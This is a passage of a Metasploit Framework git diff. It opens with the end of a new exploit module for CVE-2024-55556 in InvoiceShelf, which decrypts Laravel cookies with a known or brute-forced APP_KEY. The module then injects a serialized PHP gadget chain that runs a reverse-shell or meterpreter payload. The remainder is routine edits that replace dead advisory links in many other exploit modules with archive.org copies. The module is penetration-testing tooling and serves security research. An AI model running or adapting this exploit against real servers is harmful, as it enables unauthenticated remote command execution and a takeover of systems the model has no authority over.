compromise, data exfiltration, or unauthorized access + to sensitive information. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'Rémi Matasse', # SynActiv Research Team - discovery of the vulnerability + 'Mickaël Benassouli' # SynActiv Research Team - discovery of the vulnerability + ], + 'References' => [ + ['CVE', '2024-55556'], + ['URL', 'https://attackerkb.com/topics/25C8UQRPhx/cve-2024-55556'], + ['URL', 'https://www.synacktiv.com/advisories/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known'] + ], + 'DisclosureDate' => '2024-12-13', + 'Platform' => ['php', 'unix', 'linux'], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Privileged' => false, + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Type' => :php, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ], + [ + 'Unix/Linux Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => false, + 'RPORT' => 90 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The InvoiceShelf endpoint URL.', '/' ]), + OptString.new('APP_KEY', [ true, 'Laravel APP_KEY.', 'base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=']), + OptPath.new('BRUTEFORCE', [false, 'File with a list of APP_KEYs, one per line for a bruteforce attack.', nil]) + ]) + end + + def execute_command(laravel_cookie_cipher, laravel_cookie, laravel_session_cookie, _opts = {}) + laravel_cookie_id = laravel_cookie.split('=')[0] + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'login'), + 'cookie' => "#{laravel_session_cookie}; #{laravel_cookie_id}=#{laravel_cookie_cipher};", + 'ctype' => 'application/x-www-form-urlencoded' + }) + end + + def check + print_status("Checking if #{peer} can be exploited.") + res = send_request_cgi({ + 'method' => 'GET', + 'ctype' => 'application/x-www-form-urlencoded', + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'app', 'version') + }) + return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200 + + # check if target is running the InvoiceShelf platform + # parse json response and get the version + res_json = res.get_json_document + version_number = res_json['version'] unless res_json.blank? + return CheckCode::Safe('No InvoiceShelf platform found.') if version_number.nil? + + if Rex::Version.new(version_number) <= Rex::Version.new('1.3.0') + return CheckCode::Appears("InvoiceShelf #{version_number}") + end + + CheckCode::Safe("InvoiceShelf #{version_number}") + end + + def exploit + # lets first check if decryption is successful with the APP_KEY by decrypting the Laravel cookie. + # option APP_KEY is either a single entry of a file with APP_KEYS using the [file:] identifier + cipher_mode = 'AES-256-CBC' + res = send_request_cgi!({ + 'method' => 'GET', + 'ctype' => 'application/x-www-form-urlencoded', + 'uri' => normalize_uri(target_uri.path, 'login') + }) + fail_with(Failure::Unknown, 'No valid response received from target.') unless res&.code == 200 + + print_status('Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.') + print_status('Grabbing the cookies.') + set_cookie = res.get_cookies + fail_with(Failure::NotFound, 'No cookie found.') if set_cookie.nil? + laravel_session_cookie = set_cookie.match(/laravel_session=([^;]+)/) # get laravel_session cookie + laravel_cookie = set_cookie.match(/\w{40}=([^;]+)/) # search for the 40 alphanumeric cookie identifier + fail_with(Failure::NotFound, 'No cookie found. Unable to check APP_KEY.') if laravel_session_cookie.nil? || laravel_cookie.nil? + + if datastore['BRUTEFORCE'] + key_file = datastore['BRUTEFORCE'] + print_status("Starting bruteforce decryption with APP_KEYS listed in #{key_file}.") + result = laravel_bruteforce_from_file(laravel_cookie[1], key_file, cipher_mode) + fail_with(Failure::NotFound, "Bruteforce decryption failed. No valid APP_KEY found in file #{key_file}.") if result.nil? + valid_app_key = result['key'] + unciphered_value = result['value'] + else + result = laravel_decrypt(laravel_cookie[1], datastore['APP_KEY'], cipher_mode) + fail_with(Failure::BadConfig, "Decryption with APP_KEY: #{datastore['APP_KEY']} failed.") if result.nil? + valid_app_key = datastore['APP_KEY'] + unciphered_value = result + end + print_good("APP_KEY is valid: #{valid_app_key}") + print_good("Unciphered value: #{unciphered_value}") + + print_status('Generate an encrypted serialized cookie payload with our cracked APP_KEY.') + pl = payload.encoded + pl = "echo -n '#{Base64.strict_encode64(payload.encoded)}'|(base64 -d||openssl enc -base64 -d)|php" if target['Type'] == :php + pl_len = pl.length + laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;}) + b64_laravel_payload = Base64.strict_encode64(laravel_payload) + hash_value = unciphered_value.split('|')[0] + laravel_cookie_cipher = laravel_encrypt_session_cookie(b64_laravel_payload, hash_value, valid_app_key, cipher_mode) + fail_with(Failure::BadConfig, 'Laravel cookie encryption failed.') if laravel_cookie_cipher.nil? + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + execute_command(laravel_cookie_cipher, laravel_cookie[0], laravel_session_cookie[0]) + end +end diff --git a/modules/exploits/linux/http/multi_ncc_ping_exec.rb b/modules/exploits/linux/http/multi_ncc_ping_exec.rb index 037f804d699d7..17d7cfb2352a4 100644 --- a/modules/exploits/linux/http/multi_ncc_ping_exec.rb +++ b/modules/exploits/linux/http/multi_ncc_ping_exec.rb @@ -36,7 +36,7 @@ def initialize(info = {}) [ ['CVE', '2015-1187'], ['BID', '72816'], - ['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'], + ['URL', 'http://web.archive.org/web/20180521133927/https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'], ['URL', 'https://seclists.org/fulldisclosure/2015/Mar/15'], ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052'] ], diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb index e2f142f3090a6..91e3e797ec828 100644 --- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -36,7 +36,7 @@ def initialize(info = {}) 'References' => [ # Comment from Paul Davies contains probably the first published PoC - [ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ], + [ 'URL', 'http://web.archive.org/web/20200512230920/https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ], # Writeup with PoC by Andrew Tierney from Pen Test Partners [ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ] ], diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index 07a8e8e2f084c..6192028bee888 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -28,7 +28,7 @@ def initialize(info={}) 'References' => [ ['BID', '55490'], - ['URL', 'http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/'], + ['URL', 'http://web.archive.org/web/20210922060411/https://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/'], ['OSVDB', '93881'], ['EDB', '21191'] ], diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb index f44028ba0711a..890be4b108183 100644 --- a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb +++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb @@ -33,7 +33,7 @@ def initialize(info = {}) ['CVE', '2014-8687'], ['EDB', '36202'], ['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'], - ['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/'] + ['URL', 'http://web.archive.org/web/20150806124553/https://beyondbinary.io/advisory/seagate-nas-rce/'] ], 'DisclosureDate' => '2015-03-01', 'Privileged' => true, diff --git a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb index dd10511a2299a..94fa00a1cb48b 100644 --- a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb +++ b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2022-23642'], - ['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'], + ['URL', 'http://web.archive.org/web/20230705082819/https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'], ['URL', 'https://github.com/Altelus1/CVE-2022-23642'], ], 'DisclosureDate' => '2022-02-18', # Public disclosure diff --git a/modules/exploits/linux/http/suitecrm_log_file_rce.rb b/modules/exploits/linux/http/suitecrm_log_file_rce.rb index 462045d2c3daf..9763f24ef36bb 100644 --- a/modules/exploits/linux/http/suitecrm_log_file_rce.rb +++ b/modules/exploits/linux/http/suitecrm_log_file_rce.rb @@ -34,7 +34,7 @@ def initialize(info = {}) ['CVE', '2020-28328'], # First CVE ['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue. ['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit - ['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit + ['URL', 'http://web.archive.org/web/20211209044023/https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit ], 'Platform' => %w[linux unix], 'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86], diff --git a/modules/exploits/linux/http/unraid_auth_bypass_exec.rb b/modules/exploits/linux/http/unraid_auth_bypass_exec.rb index bcff7accd1e0f..7b47df290b61c 100644 --- a/modules/exploits/linux/http/unraid_auth_bypass_exec.rb +++ b/modules/exploits/linux/http/unraid_auth_bypass_exec.rb @@ -25,8 +25,8 @@ def initialize(info = {}) 'References' => [ [ 'CVE', '2020-5847' ], [ 'CVE', '2020-5849' ], - [ 'URL', 'https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ], - [ 'URL', 'https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ] + [ 'URL', 'http://web.archive.org/web/20220520205905/https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ], + [ 'URL', 'http://web.archive.org/web/20230330210936/https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ] ], 'License' => MSF_LICENSE, 'Platform' => ['php'], diff --git a/modules/exploits/linux/http/vmware_view_planner_4_6_uploadlog_rce.rb b/modules/exploits/linux/http/vmware_view_planner_4_6_uploadlog_rce.rb index c3a39aa77adac..69ba6f576e0dd 100644 --- a/modules/exploits/linux/http/vmware_view_planner_4_6_uploadlog_rce.rb +++ b/modules/exploits/linux/http/vmware_view_planner_4_6_uploadlog_rce.rb @@ -30,7 +30,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2021-21978'], - ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0003.html'], + ['URL', 'http://web.archive.org/web/20240621163557/https://www.vmware.com/security/advisories/VMSA-2021-0003.html'], ['URL', 'https://attackerkb.com/assessments/fc456e03-adf5-409a-955a-8a4fb7e79ece'] # wvu's PoC ], 'DisclosureDate' => '2021-03-02', # Vendor advisory @@ -83,7 +83,7 @@ def check @original_content = res.body # If the server responded with the contents of log_upload_wsgi.py, lets save this for later restoration. - if res.body&.include?('import hashlib') && res.body&.include?('if hashlib.sha256(password.value.encode("utf8")).hexdigest()==secret_key:') + if res.body&.include?('import hashlib') && res.body.include?('if hashlib.sha256(password.value.encode("utf8")).hexdigest()==secret_key:') return CheckCode::Safe("Target's log_upload_wsgi.py file has been patched.") end diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb index 15e367301c4ee..dc356e238b2bc 100644 --- a/modules/exploits/linux/http/webid_converter.rb +++ b/modules/exploits/linux/http/webid_converter.rb @@ -27,7 +27,7 @@ def initialize(info = {}) 'References' => [ [ 'OSVDB', '73609' ], [ 'EDB', '17487' ], - [ 'URL', 'http://www.webidsupport.com/forums/showthread.php?3892' ] + [ 'URL', 'http://web.archive.org/web/20230206230259/http://www.webidsupport.com/forums/showthread.php?3892' ] ], 'Privileged' => false, 'Platform' => ['php'], diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index bcac288e2547d..f72ba5413adad 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -26,7 +26,7 @@ def initialize(info={}) 'References' => [ ['OSVDB', '85654'], - ['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/'] + ['URL', 'http://web.archive.org/web/20221203195056/https://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/'] ], 'DefaultOptions' => { diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index b9a69fb94b606..417fde1ce64f1 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -20,7 +20,7 @@ def initialize(info = {}) }, 'References' => [ - ['URL', 'http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/'], + ['URL', 'http://web.archive.org/web/20221203180334/https://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/'], ['OSVDB', '84408'] ], 'Author' => diff --git a/modules/exploits/linux/local/netfilter_xtables_heap_oob_write_priv_esc.rb b/modules/exploits/linux/local/netfilter_xtables_heap_oob_write_priv_esc.rb index 3ffa9719ff3b1..910b06ffded38 100644 --- a/modules/exploits/linux/local/netfilter_xtables_heap_oob_write_priv_esc.rb +++ b/modules/exploits/linux/local/netfilter_xtables_heap_oob_write_priv_esc.rb @@ -47,7 +47,7 @@ def initialize(info = {}) }, 'References' => [ ['CVE', '2021-22555'], - ['URL', 'https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html'], + ['URL', 'http://web.archive.org/web/20250116045131/https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22555'], ['URL', 'https://ubuntu.com/security/CVE-2021-22555'] ] diff --git a/modules/exploits/linux/local/runc_cwd_priv_esc.rb b/modules/exploits/linux/local/runc_cwd_priv_esc.rb index 5599910b70023..2077fc7c2bd40 100644 --- a/modules/exploits/linux/local/runc_cwd_priv_esc.rb +++ b/modules/exploits/linux/local/runc_cwd_priv_esc.rb @@ -44,7 +44,7 @@ def initialize(info = {}) [ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'], [ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'], [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2024-21626'], - [ 'URL', 'https://ubuntu.com/security/CVE-2024-21626'], + [ 'URL', 'http://web.archive.org/web/20241006225740/https://ubuntu.com/security/CVE-2024-21626'], [ 'CVE', '2024-21626'] ], 'DisclosureDate' => '2024-01-31', @@ -93,7 +93,7 @@ def check version_info =~ /runc version\s+(\d+\S*)/ unfiltered_version = Regexp.last_match(1) - # https://ubuntu.com/security/CVE-2024-21626 + # http://web.archive.org/web/20241006225740/https://ubuntu.com/security/CVE-2024-21626 if sys_info[:version].include? '23.10' # mantic fixed_version = '1.1.7-0ubuntu2.2' elsif sys_info[:version].include? '23.04' # lunar diff --git a/modules/exploits/linux/local/servu_ftp_server_prepareinstallation_priv_esc.rb b/modules/exploits/linux/local/servu_ftp_server_prepareinstallation_priv_esc.rb index 5efc3fb64bab3..12f8caaccf338 100644 --- a/modules/exploits/linux/local/servu_ftp_server_prepareinstallation_priv_esc.rb +++ b/modules/exploits/linux/local/servu_ftp_server_prepareinstallation_priv_esc.rb @@ -43,9 +43,9 @@ def initialize(info = {}) ['PACKETSTORM', '153333'], ['URL', 'https://github.com/guywhataguy/CVE-2019-12181'], ['URL', 'https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181'], - ['URL', 'https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html'], + ['URL', 'http://web.archive.org/web/20200803153621/https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html'], ['URL', 'https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm'], - ['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems'] + ['URL', 'http://web.archive.org/web/20250208173448/https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems'] ], 'Platform' => ['linux'], 'Arch' => [ diff --git a/modules/exploits/linux/local/systemtap_modprobe_options_priv_esc.rb b/modules/exploits/linux/local/systemtap_modprobe_options_priv_esc.rb index 529892ccec5cd..21c0dbab3322a 100644 --- a/modules/exploits/linux/local/systemtap_modprobe_options_priv_esc.rb +++ b/modules/exploits/linux/local/systemtap_modprobe_options_priv_esc.rb @@ -46,7 +46,7 @@ def initialize(info = {}) ['URL', 'https://securitytracker.com/id?1024754'], ['URL', 'https://access.redhat.com/security/cve/cve-2010-4170'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=653604'], - ['URL', 'https://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html'], + ['URL', 'http://web.archive.org/web/20240609145111/https://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html'], ['URL', 'https://bugs.launchpad.net/bugs/677226'], ['URL', 'https://www.debian.org/security/2011/dsa-2348'] ], diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index f12cc621a7a7a..22decef36eb58 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -46,7 +46,7 @@ def initialize(info = {}) [ 'OSVDB', '96588' ], [ 'BID', '61966'], [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ], - [ 'URL', 'https://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ], + [ 'URL', 'http://web.archive.org/web/20130831060036/http://www.vmware.com:80/support/support-resources/advisories/VMSA-2013-0010.html' ], [ 'URL', 'https://www.rapid7.com/blog/post/2013/09/05/cve-2013-1662-vmware-mount-exploit' ] ], 'DisclosureDate' => '2013-08-22', diff --git a/modules/exploits/linux/misc/cisco_ios_xe_rce.rb b/modules/exploits/linux/misc/cisco_ios_xe_rce.rb index c7be911b90f86..27d45ca35bc41 100644 --- a/modules/exploits/linux/misc/cisco_ios_xe_rce.rb +++ b/modules/exploits/linux/misc/cisco_ios_xe_rce.rb @@ -53,7 +53,7 @@ def initialize(info = {}) ['CVE', '2023-20273'], # Vendor advisories. ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'], - ['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'], + ['URL', 'http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'], # Vendor list of (205) vulnerable versions. ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'], # Technical details on CVE-2023-20198. diff --git a/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb b/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb index 462dc290af747..3d4ebe4102992 100644 --- a/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb +++ b/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb @@ -43,7 +43,7 @@ def initialize(info = {}) [ 'URL', 'https://www.lua.org/pil/8.2.html'], [ 'URL', 'https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce' ], [ 'URL', 'https://www.debian.org/security/2022/dsa-5081' ], - [ 'URL', 'https://ubuntu.com/security/CVE-2022-0543' ] + [ 'URL', 'http://web.archive.org/web/20240910172732/https://ubuntu.com/security/CVE-2022-0543' ] ], 'DisclosureDate' => '2022-02-18', 'Platform' => ['unix', 'linux'], diff --git a/modules/exploits/linux/ssh/solarwinds_lem_exec.rb b/modules/exploits/linux/ssh/solarwinds_lem_exec.rb index 962895090fce7..fbfe243ee63d3 100644 --- a/modules/exploits/linux/ssh/solarwinds_lem_exec.rb +++ b/modules/exploits/linux/ssh/solarwinds_lem_exec.rb @@ -26,7 +26,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2017-7722'], - ['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/'] + ['URL', 'http://web.archive.org/web/20250221015511/https://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/'] ], 'DefaultOptions' => { 'Payload' => 'python/meterpreter/reverse_tcp' diff --git a/modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb b/modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb index 8cf835264651f..c5605690f3b14 100644 --- a/modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb +++ b/modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb @@ -31,7 +31,7 @@ def initialize(info = {}) ['URL', 'https://github.com/phikshun/ufuzz'], ['URL', 'https://gist.github.com/phikshun/10900566'], ['URL', 'https://gist.github.com/phikshun/9984624'], - ['URL', 'https://www.crock-pot.com/wemo-landing-page.html'], + ['URL', 'http://web.archive.org/web/20180301171809/https://www.crock-pot.com/wemo-landing-page.html'], ['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'], ['URL', 'http://www.wemo.com/'] ], diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index 033fe0c2cdbe2..c6bb97cbb33e1 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -43,7 +43,7 @@ def initialize(info={}) 'References' => [ ['CVE', '2015-5122'], - ['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html'], + ['URL', 'http://web.archive.org/web/20160508075917/https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-04.html'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-18.html'] ], diff --git a/modules/exploits/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.rb b/modules/exploits/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.rb index 79ab651f0bcbc..f3cfe86118219 100644 --- a/modules/exploits/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.rb +++ b/modules/exploits/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.rb @@ -31,7 +31,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2021-21220'], - ['URL', 'https://github.com/r4j0x00/exploits/tree/master/chrome-0day'], + ['URL', 'http://web.archive.org/web/20210508220051/https://github.com/r4j0x00/exploits/tree/master/chrome-0day'], ['URL', 'https://twitter.com/r4j0x00/status/1382125720344793090'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1196683'], # Restricted at the time of writing, but should be public at some point. ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-21-411/'] diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb index 10ff9d437943d..2a9fb46c1ff27 100644 --- a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb +++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb @@ -21,7 +21,7 @@ def initialize(info = {}) [ ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'], - ['URL', 'https://www.exploit-db.com/docs/27654.pdf'], + ['URL', 'http://web.archive.org/web/20170214000632/https://www.exploit-db.com/docs/27654.pdf'], ['URL', 'https://www.cisa.gov/uscert/ncas/alerts/TA15-313A'] ], 'Platform' => ['php'], diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index 130f871eb0729..06e0c9de9663b 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -39,7 +39,7 @@ def initialize(info = {}) [ 'CVE', '2019-3396' ], [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ], [ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'], - [ 'URL', 'https://paper.seebug.org/886/'] + [ 'URL', 'http://web.archive.org/web/20231207164611/https://paper.seebug.org/886/'] ], 'Targets' => [ [ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }], diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index e910bbbf62500..44a3f8f5a3330 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -24,7 +24,7 @@ def initialize(info={}) ], 'References' => [ - ['URL', 'http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/'], + ['URL', 'http://web.archive.org/web/20210922054637/https://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/'], ['OSVDB', '84829'], #['EDB', ''], ], diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index 2641c39ffafc5..84875128718cb 100644 --- a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -28,7 +28,7 @@ def initialize(info = {}) 'References' => [ [ 'OSVDB', '88751' ], [ 'BID', '57058' ], - [ 'URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability' ], + [ 'URL', 'http://web.archive.org/web/20230128023508/https://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability/' ], [ 'URL', 'http://extplorer.net/issues/105' ] ], 'Payload' => { diff --git a/modules/exploits/multi/http/git_client_command_exec.rb b/modules/exploits/multi/http/git_client_command_exec.rb index 853df55f89953..120f827bbd6f9 100644 --- a/modules/exploits/multi/http/git_client_command_exec.rb +++ b/modules/exploits/multi/http/git_client_command_exec.rb @@ -50,7 +50,7 @@ def initialize(info = {}) ['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'], ['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'], ['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'], - ['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'], + ['URL', 'http://web.archive.org/web/20221226100335/https://mercurial.selenic.com/wiki/WhatsNew'], ['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'], ['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a'] diff --git a/modules/exploits/multi/http/gitea_git_hooks_rce.rb b/modules/exploits/multi/http/gitea_git_hooks_rce.rb index b3a3aa8c5ee4c..8aa0c276a7499 100644 --- a/modules/exploits/multi/http/gitea_git_hooks_rce.rb +++ b/modules/exploits/multi/http/gitea_git_hooks_rce.rb @@ -47,7 +47,7 @@ def initialize(info = {}) ['CVE', '2020-14144'], ['EDB', '49571'], ['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'], - ['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/'] + ['URL', 